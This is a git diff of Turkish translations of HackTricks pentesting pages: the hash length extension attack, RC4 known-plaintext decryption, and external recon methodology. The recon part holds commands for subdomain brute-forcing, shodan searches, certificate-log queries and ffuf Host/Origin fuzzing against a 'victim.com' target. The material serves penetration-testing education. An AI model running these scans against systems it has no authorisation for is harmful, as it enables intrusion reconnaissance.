|
||||
- **Gizlinin uzunluğu** (bu, belirli bir uzunluk aralığından da brute force ile elde edilebilir)
|
||||
- **Açık metin verisi**
|
||||
@ -11,13 +11,13 @@ Bir sunucunun bazı bilinen açık metin verilerine bir **gizli** ekleyerek **im
|
||||
- Genellikle varsayılan bir padding kullanılır, bu nedenle diğer 3 gereklilik karşılandığında, bu da geçerlidir
|
||||
- Padding, gizli+veri uzunluğuna bağlı olarak değişir, bu yüzden gizlinin uzunluğu gereklidir
|
||||
|
||||
O zaman, bir **saldırganın** **veri eklemesi** ve **önceki veri + eklenen veri** için geçerli bir **imza** **üretmesi** mümkündür.
|
||||
O zaman, bir **saldırgan** **veri ekleyip** **önceki veri + eklenen veri** için geçerli bir **imza** **üretebilir**.
|
||||
|
||||
## Nasıl?
|
||||
|
||||
Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hash'leyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hash'ler**.
|
||||
Temelde, savunmasız algoritmalar hash'leri önce bir **veri bloğunu hashleyerek** oluşturur ve ardından, **önceden** oluşturulmuş **hash** (durum) üzerinden **bir sonraki veri bloğunu ekleyip** **hashler**.
|
||||
|
||||
O zaman, gizlinin "secret" ve verinin "data" olduğunu hayal edin, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\
|
||||
O zaman, gizli "secret" ve veri "data" ise, "secretdata"nın MD5'i 6036708eba0d11f6ef52ad44e8b74d5b'dir.\
|
||||
Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir:
|
||||
|
||||
- 64 "A"nın MD5'ini oluştur
|
||||
@ -27,10 +27,12 @@ Eğer bir saldırgan "append" dizesini eklemek isterse, şunları yapabilir:
|
||||
|
||||
## **Araç**
|
||||
|
||||
{% embed url="https://github.com/iagox86/hash_extender" %}
|
||||
{{#ref}}
|
||||
https://github.com/iagox86/hash_extender
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
|
||||
Bu saldırıyı [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde iyi bir şekilde bulabilirsiniz.
|
||||
Bu saldırıyı iyi bir şekilde açıklanmış olarak [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) adresinde bulabilirsiniz.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -4,8 +4,12 @@ Eğer bir şekilde bir düz metni RC4 kullanarak şifreleyebilirseniz, o RC4 ile
|
||||
|
||||
Eğer bilinen bir düz metni şifreleyebiliyorsanız, şifreyi de çıkarabilirsiniz. Daha fazla referans HTB Kryptos makinesinde bulunabilir:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Varlık keşifleri
|
||||
|
||||
> Yani, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz.
|
||||
@ -17,7 +16,7 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın
|
||||
### **Satın Almalar**
|
||||
|
||||
Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\
|
||||
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\
|
||||
Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" sekmesine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\
|
||||
Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır.
|
||||
|
||||
> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımıza bakalım.
|
||||
@ -25,11 +24,11 @@ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **
|
||||
### **ASNs**
|
||||
|
||||
Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\
|
||||
Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir.
|
||||
Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri** **bloklarından** oluşur, ancak birden fazla operatörden oluşabilir.
|
||||
|
||||
**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\
|
||||
**Şirketin herhangi bir ASN atayıp atamadığını bulmak** ve **IP aralıklarını** öğrenmek ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içinde **alan adlarını** aramak ilginç olacaktır.\
|
||||
[**https://bgp.he.net/**](https://bgp.he.net)** adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\
|
||||
**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
|
||||
**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
@ -91,8 +90,8 @@ Aşağıdaki çevrimiçi araçları kullanabilirsiniz:
|
||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz**
|
||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz olmayan API.
|
||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz değil (sadece **100 ücretsiz** arama)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz değil
|
||||
|
||||
Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink) kullanarak otomatikleştirebilirsiniz (bir whoxy API anahtarı gerektirir).\
|
||||
Ayrıca [amass](https://github.com/OWASP/Amass) ile bazı otomatik ters whois keşifleri gerçekleştirebilirsiniz: `amass intel -d tesla.com -whois`
|
||||
@ -123,11 +122,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
||||
Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar.
|
||||
|
||||
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
|
||||
Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon'unun hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
Bu, bir web'in **favicon hash'ini nasıl hesaplayabileceğinizdir**:
|
||||
Bu, bir web'in **favicon hash'ini hesaplama** şeklidir:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
@ -142,7 +141,7 @@ return fhash
|
||||
```
|
||||
### **Telif Hakkı / Eşsiz Dize**
|
||||
|
||||
Web sayfalarında **aynı organizasyondaki farklı weblerde paylaşılabilecek dizeleri** arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
|
||||
Web sayfalarında **aynı organizasyondaki farklı weblerde paylaşılabilecek dizeleri** arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından o dizeyi **google**'da, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"`
|
||||
|
||||
### **CRT Zamanı**
|
||||
|
||||
@ -151,42 +150,40 @@ Genellikle bir cron işi olması yaygındır.
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
tüm alan sertifikalarını sunucuda yenilemek. Bu, kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamasa bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alanları bulmanın mümkün olduğu** anlamına gelir.\
|
||||
tüm alan sertifikalarını sunucuda yenilemek. Bu, kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alanları bulmanın mümkün olduğu** anlamına gelir.\
|
||||
Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Mail DMARC bilgileri
|
||||
|
||||
**DMARC bilgilerini paylaşan alanları ve alt alanları bulmak için** [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz.
|
||||
**aynı dmarc bilgilerini paylaşan alanlar ve alt alanlar** bulmak için [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz.
|
||||
|
||||
### **Pasif Ele Geçirme**
|
||||
|
||||
Görünüşe göre, insanların alt alanları bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece bir bulutta (Digital Ocean gibi) **bir VM oluşturmak**, aslında **bazı alt alanları ele geçirmek** anlamına gelir.
|
||||
Görünüşe göre, insanların alt alanları bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (Digital Ocean gibi) aslında **bazı alt alanları ele geçireceksiniz**.
|
||||
|
||||
[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **buna işaret eden alt alan kayıtlarını Virustotal'da arayan** bir betik öneriyor.
|
||||
|
||||
### **Diğer yollar**
|
||||
|
||||
**Yeni bir alan bulduğunuzda daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.**
|
||||
**Yeni bir alan buldukça daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi shodan'da aramak için: `org:"Tesla, Inc."` kullanabilirsiniz. TLS sertifikasında yeni beklenmedik alanlar için bulunan ana bilgisayarları kontrol edin.
|
||||
|
||||
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz; filtre olarak: `ssl:"Tesla Motors"` kullanabilir veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
|
||||
Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** elde edebilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz: `ssl:"Tesla Motors"` filtresiyle veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz.
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder), bir ana alanla ilişkili **alanları** ve **alt alanlarını** arayan bir araçtır, oldukça etkileyici.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder), ana bir alanla ve bunların **alt alanlarıyla** ilgili **alanları** arayan bir araçtır, oldukça etkileyici.
|
||||
|
||||
### **Zafiyet arama**
|
||||
|
||||
Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin.
|
||||
Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin.
|
||||
|
||||
Eğer **varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip bir alan bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
|
||||
Eğer bulduğunuz varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alan bulursanız**, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları** bulabilirsiniz.\
|
||||
&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
|
||||
|
||||
|
||||
## Alt Alanlar
|
||||
|
||||
> Kapsam içindeki tüm şirketleri, her şirketin tüm varlıklarını ve şirketlerle ilgili tüm alanları biliyoruz.
|
||||
@ -285,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
- [**gau**](https://github.com/lc/gau)**:** Belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
|
||||
- [**gau**](https://github.com/lc/gau)**:** belirli bir alan adı için AlienVault'un Açık Tehdit Değişimi, Wayback Machine ve Common Crawl'dan bilinen URL'leri alır.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
@ -348,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ve kolay girdi-çıktı desteği ile çözmenize olanak tanır.
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -377,8 +374,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): Alt alan adlarının permütasyonlarını oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir).
|
||||
- altdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
|
||||
- [**altdns**](https://github.com/infosec-au/altdns): Alt alan adları varyasyonları oluşturmanın yanı sıra, bunları çözmeye de çalışabilir (ancak daha önce bahsedilen araçları kullanmak daha iyidir).
|
||||
- altdns varyasyonlarını **wordlist** olarak [**buradan**](https://github.com/infosec-au/altdns/blob/master/words.txt) alabilirsiniz.
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
@ -392,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
||||
#### Akıllı permütasyonlar üretimi
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarının** **ana kısımlarını** alacak ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Daha fazla bilgi için bu [**gönderiyi**](https://cramppet.github.io/regulator/index.html) okuyun, ancak temelde **keşfedilen alt alan adlarının** **ana parçalarını** alacak ve daha fazla alt alan adı bulmak için bunları karıştıracaktır.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezler ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları bir döngüde daha da genişletir.
|
||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıtına dayalı algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanır.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
@ -406,13 +403,17 @@ echo www | subzuf facebook.com
|
||||
|
||||
Bir alan adından **alt alan keşfini otomatikleştirme** hakkında yazdığım bu blog yazısını kontrol edin, böylece bilgisayarımda bir dizi aracı manuel olarak başlatmam gerekmiyor:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
|
||||
{{#ref}}
|
||||
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
|
||||
{{#endref}}
|
||||
|
||||
### **VHosts / Sanal Ana Bilgiler**
|
||||
|
||||
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute force ile deneyebilirsiniz**.
|
||||
Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya çalışabilirsiniz**. Bunun için **OSINT kaynaklarında** bir IP'deki alan adlarını arayabilir veya **o IP'deki VHost alan adlarını brute-force yapabilirsiniz**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
@ -420,7 +421,7 @@ Bazı **VHosts'ları IP'lerde bulmak için** [**HostHunter**](https://github.com
|
||||
|
||||
**Brute Force**
|
||||
|
||||
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, bunu brute force ile denemeyi düşünebilirsiniz:
|
||||
Eğer bazı alt alanların bir web sunucusunda gizli olabileceğinden şüpheleniyorsanız, brute force yapmayı deneyebilirsiniz:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
@ -439,7 +440,7 @@ VHostScan -t example.com
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Bazen, yalnızca geçerli bir alan/ad alt alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için yeni **alt alanlar** bulmak amacıyla kötüye kullanabilirsiniz.
|
||||
Bazen, yalnızca geçerli bir alan/ad alanı _**Origin**_ başlığında ayarlandığında _**Access-Control-Allow-Origin**_ başlığını döndüren sayfalar bulabilirsiniz. Bu senaryolarda, bu davranışı **keşfetmek** için **yeni alt alan adları** elde etmek amacıyla kötüye kullanabilirsiniz.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
@ -450,20 +451,20 @@ Ayrıca, bu noktada kapsam içindeki tüm alan adlarını bildiğiniz için, [**
|
||||
|
||||
### **Monitorization**
|
||||
|
||||
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Bir alan adının **yeni alt alanları** oluşturulup oluşturulmadığını **Sertifika Şeffaflığı** Loglarını izleyerek **izleyebilirsiniz**. [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) bunu yapar.
|
||||
|
||||
### **Güvenlik açıklarını arama**
|
||||
|
||||
Mümkün olan [**alt alan ele geçirmelerini**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
|
||||
Mümkün olan [**alt alan devralmalarını**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover) kontrol edin.\
|
||||
Eğer **alt alan** bir **S3 bucket**'a **işaret ediyorsa**, [**izinleri kontrol edin**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Eğer keşif aşamasında bulduğunuz IP'lerden farklı bir **IP ile bir alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile gerçekleştirmelisiniz. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
|
||||
Eğer keşfettiğiniz varlıkların IP'lerinden farklı bir **IP ile bir alt alan bulursanız**, **temel bir güvenlik açığı taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **nmap/masscan/shodan** ile yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\
|
||||
&#xNAN;_Note, bazen alt alanın, müşterinin kontrolünde olmayan bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._
|
||||
|
||||
## IP'ler
|
||||
|
||||
Başlangıç aşamalarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
|
||||
Artık **bu aralıklardan tüm IP'leri toplama** ve **alan adları/alt alanlar için (DNS sorguları)** zamanı.
|
||||
Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alanlar** bulmuş olabilirsiniz.\
|
||||
Artık **bu aralıklardaki tüm IP'leri** ve **alan adları/alt alanlar (DNS sorguları)** için **toplama zamanı**.
|
||||
|
||||
Aşağıdaki **ücretsiz API'lerden** hizmetler kullanarak, **alan adları ve alt alanlar tarafından kullanılan önceki IP'leri** de bulabilirsiniz. Bu IP'ler hala müşteri tarafından sahiplenilmiş olabilir (ve [**CloudFlare bypass'larını**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza yardımcı olabilir).
|
||||
|
||||
@ -473,27 +474,27 @@ Ayrıca, belirli bir IP adresine işaret eden alan adlarını kontrol etmek içi
|
||||
|
||||
### **Güvenlik açıklarını arama**
|
||||
|
||||
**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulma olasılığınız çok düşük). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulma** şansınız olabilir.
|
||||
**CDN'lere ait olmayan tüm IP'leri port taraması yapın** (çünkü burada ilginç bir şey bulmanız pek olası değildir). Keşfedilen çalışan hizmetlerde **güvenlik açıkları bulabilirsiniz**.
|
||||
|
||||
**Host'ları tarama hakkında bir** [**rehber**](../pentesting-network/) **bulun.**
|
||||
|
||||
## Web sunucuları avı
|
||||
|
||||
> Tüm şirketleri ve varlıklarını bulduk ve kapsam içindeki IP aralıklarını, alan adlarını ve alt alanları biliyoruz. Web sunucularını arama zamanı.
|
||||
> Tüm şirketleri ve varlıklarını bulduk ve kapsam içindeki IP aralıklarını, alan adlarını ve alt alanları biliyoruz. Artık web sunucularını arama zamanı.
|
||||
|
||||
Önceki adımlarda muhtemelen keşfedilen **IP'ler ve alan adları üzerinde bazı keşifler** yaptınız, bu nedenle **mümkün olan tüm web sunucularını** **zaten bulmuş olabilirsiniz**. Ancak, bulmadıysanız, şimdi kapsam içinde web sunucularını aramak için bazı **hızlı ipuçlarını** göreceğiz.
|
||||
|
||||
Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin veriliyorsa**).
|
||||
Lütfen, bunun **web uygulamaları keşfine yönelik** olacağını unutmayın, bu nedenle **güvenlik açığı** ve **port taraması** da yapmalısınız (**kapsam tarafından izin verilirse**).
|
||||
|
||||
**Web** sunucularına ilişkin **açık portları** keşfetmek için [**masscan** ile hızlı bir yöntem burada bulunabilir](../pentesting-network/#http-port-discovery).\
|
||||
Web sunucularını aramak için başka bir kullanıcı dostu araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)'dir. Sadece bir alan adı listesi geçiyorsunuz ve port 80 (http) ve 443 (https) ile bağlantı kurmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
|
||||
Web sunucularını aramak için başka bir dost araç [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx)dir. Sadece bir alan adı listesi geçiyorsunuz ve 80 (http) ve 443 (https) portlarına bağlanmaya çalışıyor. Ayrıca, diğer portları denemesi için belirtebilirsiniz:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
